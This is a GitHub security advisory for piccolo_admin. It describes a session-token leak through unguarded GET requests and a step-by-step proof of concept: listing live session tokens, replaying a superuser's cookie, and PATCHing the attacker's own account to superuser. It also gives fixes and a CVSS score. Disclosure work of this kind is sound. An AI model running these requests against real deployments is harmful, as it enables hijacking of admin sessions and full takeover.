OSV 1.4.0 · github-reviewed · 修改于 2026-08-29 02:14
发布时间
2026-08-29 02:14
GitHub 审查时间
2026-08-29 02:14
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-2gh4-jmwq-rr8w/GHSA-2gh4-jmwq-rr8w.json
piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.
The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.
The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.
piccolo_admin/endpoints.pysuperuser_validators (around line 419)def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
user: BaseUser = request.user.user
if not user.superuser:
if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
raise HTTPException(
detail="Only superusers can perform these actions.",
status_code=405,
)
The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.
admin=True, superuser=False — the default role created by BaseUser.create_user(admin=True)).Sessions table (and typically the User table) in create_admin([...]) — the documented pattern for "active sessions" management UIs.Log in as the non-superuser admin (john / john123). Open the Piccolo User table and confirm john's SUPERUSER column is ✗. (See Screenshot 1.)
Attempt the target write directly. Send the following request:
PATCH /api/tables/piccolo_user/2/ HTTP/1.1
Host: target:8001
Content-Type: application/json
Cookie: id=<john's session>; csrftoken=<token>
X-CSRFToken: <token>
{"superuser": true}
The server returns:
HTTP/1.1 405
{"detail":"Only superusers can perform these actions."}
The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break.
<img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" />Leak the credential. As the same john user, request:
GET /api/tables/sessions/ HTTP/1.1
Host: target:8001
Cookie: id=<john's session>; csrftoken=<token>
Response: 200 OK containing every active session in plaintext, e.g.
{"rows":[
{"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
{"token":"...","user_id":2, ...},
...
]}
Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. (Screenshot 4.)
Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:
PATCH /api/tables/piccolo_user/2/ HTTP/1.1
Host: target:8001
Content-Type: application/json
Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token>
X-CSRFToken: <token>
{"superuser": true}
Response: 200 OK, body shows "superuser": true for john. (Screenshot 5.)
Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.
Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:
Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.
Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:
def superuser_validators(piccolo_crud, request):
if not request.user.user.superuser:
raise HTTPException(
status_code=403,
detail="Only superusers can access this resource.",
)
Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.
CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Reasoning:
S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.superuser_validators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccolo_admin 1.13.0 + piccolo_api 1.9.0.admin_demo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern.